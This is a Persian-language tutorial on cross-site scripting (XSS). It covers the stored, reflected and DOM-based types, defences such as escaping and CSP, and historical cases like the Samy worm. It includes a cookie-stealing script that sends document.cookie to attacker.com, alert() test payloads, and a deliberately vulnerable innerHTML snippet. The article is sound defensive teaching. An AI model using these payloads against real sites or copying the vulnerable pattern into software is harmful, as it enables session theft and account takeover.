یکی از رایجترین و خطرناکترین حملات وب، XSS (Cross-Site Scripting) است. این نوع هک به مهاجمان اجازه میدهد تا اسکریپتهای مخرب را در صفحات وب تزریق کنند و از طریق مرورگر قربانی اجرا کنند. حملات XSS میتوانند منجر به سرقت کوکیها، نشستهای کاربری، فیشینگ، و حتی کنترل کامل حساب کاربران شوند. حمله XSS برای اولین بار به صورت رسمی در اواخر دهه ۱۹۹۰ شناسایی و مستندسازی شد، اما اولین مورد ثبتشده و عمومیشده آن به سال ۲۰۰۰ بازمیگردد. در آن زمان، تیم امنیتی Microsoft و CERT (Computer Emergency Response Team) چندین آسیبپذیری از نوع XSS را در سرویسهای تحت وب (بهویژه در مرورگر اینترنت اکسپلورر و برخی سرویسهای وبسایتها) گزارش کردند.
انواع حملات XSS
1. Stored XSS (ذخیرهشده)
در این نوع حمله، کد مخرب بهصورت دائمی روی سرور قربانی ذخیره میشود (مثلاً در دیتابیس، سیستم مدیریت محتوا یا فایلهای لاگ). هر بار که کاربری صفحهای را مشاهده کند که شامل دادههای آلوده است، اسکریپت مخرب بدون اطلاع کاربر اجرا خواهد شد. این نوع از XSS بسیار خطرناک است زیرا همه کاربرانی که با محتوای ذخیرهشده تعامل دارند در معرض خطر قرار میگیرند.
مثال: مهاجم در بخش نظرات یک وبسایت چنین کدی را وارد میکند:
<script>fetch('http://attacker.com/steal?c='+document.cookie);</script>
هر بار که کاربر صفحه نظرات را مشاهده کند، کوکی او به سرور مهاجم ارسال میشود.
2. Reflected XSS (بازتابی)
در Reflected XSS، اسکریپت مخرب از طریق پارامترهای URL یا فرمها به سرور ارسال میشود و بلافاصله بدون ذخیرهشدن در پاسخ صفحه HTML به کاربر بازگردانده میشود. این حمله اغلب از طریق لینکهایی که برای قربانی ارسال میشود (مثلاً در ایمیل یا پیام) انجام میگیرد. اگر قربانی روی لینک کلیک کند، کد مخرب در مرورگر او اجرا میشود.
مثال:
مهاجم لینکی به این صورت برای قربانی ارسال میکند:
http://example.com/search?q=<script>alert('XSS')</script>
اگر وبسایت پارامتر جستجو را بدون فیلتر کردن نمایش دهد، کد داخل <script>
اجرا خواهد شد.
3. DOM-Based XSS (مبتنی بر DOM)
در این نوع حمله، کد مخرب مستقیماً در سمت کلاینت (مرورگر) اجرا میشود و هیچگونه تعاملی با سرور وجود ندارد. حمله زمانی رخ میدهد که اسکریپتهای جاوااسکریپت موجود در صفحه، دادههای ورودی (مثلاً URL یا لوکیشن) را بدون پاکسازی در DOM درج کنند. این نوع حمله در اپلیکیشنهای جاوااسکریپتمحور مانند SPAها (برنامههای تکصفحهای) بسیار شایع است.
مثال:
let input = location.hash.substring(1); <br />document.getElementById("result").innerHTML = input;<br />
اگر آدرس صفحه به صورت زیر باشد:
http://example.com/#<script>alert('Hacked')</script>
کد بالا بدون بررسی، اسکریپت را در صفحه درج کرده و اجرا خواهد کرد.
پیامدهای حملات XSS
- سرقت کوکی و نشست کاربران
- تغییر ظاهر یا محتوای سایت
- حملات فیشینگ
- انتشار کرمهای خودتکثیرشونده (Worms)
- دسترسی به اطلاعات حساس
روشهای مقابله با XSS
1. Escaping و Sanitizing ورودیها
همواره باید ورودی کاربران را پاکسازی یا رمزگذاری کرد تا از اجرا شدن کد جلوگیری شود.
مثال:
- استفاده از تابع
htmlspecialchars()
در PHP - استفاده از توابع فریمورکهایی مثل Django، Laravel یا Express
2. استفاده از Content Security Policy (CSP)
CSP به مرورگر میگوید که چه منابعی مجاز به اجرا هستند و از اجرای منابع ناشناس یا درونصفحهای جلوگیری میکند.
مثال:
Content-Security-Policy: default-src 'self'; script-src 'self'
3. عدم استفاده از innerHTML
بدون اعتبارسنجی
استفاده از متدهایی مانند textContent
یا createElement
به جای innerHTML
4. استفاده از فریمورکهای امن
فریمورکهایی مانند React، Vue.js و Angular به طور پیشفرض از تزریق XSS جلوگیری میکنند.
5. اعتبارسنجی سمت سرور و سمت کاربر
اطمینان از اینکه ورودیها فقط از نوع و قالب مورد انتظار باشند.
نمونههایی از هک XSS مشهور
1. MySpace Samy Worm (2005)
معروفترین و اولین نمونه عملی بزرگ از حمله XSS در جهان واقعی مربوط به کرم سامی (Samy Worm) در سایت MySpace در سال ۲۰۰5 است. در این حمله، “Sami Kamkar” با استفاده از یک اسکریپت XSS در صفحه پروفایل خود، باعث شد تا کاربران بازدیدکننده به صورت خودکار او را به لیست دوستان خود اضافه کنند و همین اسکریپت را نیز در پروفایل خود درج کنند. این کرم تنها در عرض ۲۰ ساعت، بیش از یک میلیون پروفایل را آلوده کرد، بدون اینکه کاربران کاری انجام دهند جز بازدید از پروفایل سامی.
این رویداد نقطه عطفی در تاریخ امنیت وب بود و باعث شد که توجه جهانی به آسیبپذیری XSS جلب شود و بسیاری از سازمانها شروع به بررسی و ایمنسازی وبسایتهای خود در برابر این نوع حمله کنند.
<script>document.body.innerHTML += '<iframe src="http://samy.pl/hack"></iframe>';</script>
2. Yahoo Mail XSS
مهاجمان موفق شدند با ارسال ایمیلی حاوی جاوااسکریپت، کد مخرب را در مرورگر قربانی اجرا کنند و کوکیهای او را سرقت کنند.
3. eBay XSS Exploit
در سالهای گذشته، چند بار کاربران eBay با XSS مواجه شدند که مهاجمان با درج کد جاوااسکریپت در لیستهای فروش کالا، بازدیدکنندگان را به صفحات فیشینگ هدایت میکردند.
جمعبندی
حملات XSS یکی از مهمترین تهدیدات امنیتی در وب هستند که ناشی از عدم اعتبارسنجی و پاکسازی صحیح ورودیها میباشند. توسعهدهندگان باید با استفاده از تکنیکهایی مانند escaping، CSP، و استفاده از فریمورکهای امن، از بروز چنین حملاتی جلوگیری کنند. همچنین، آگاهی کاربران و تیمهای امنیتی از روشهای نوین این نوع حمله میتواند تأثیر بسزایی در کاهش آسیبپذیریها داشته باشد.
بدون دیدگاه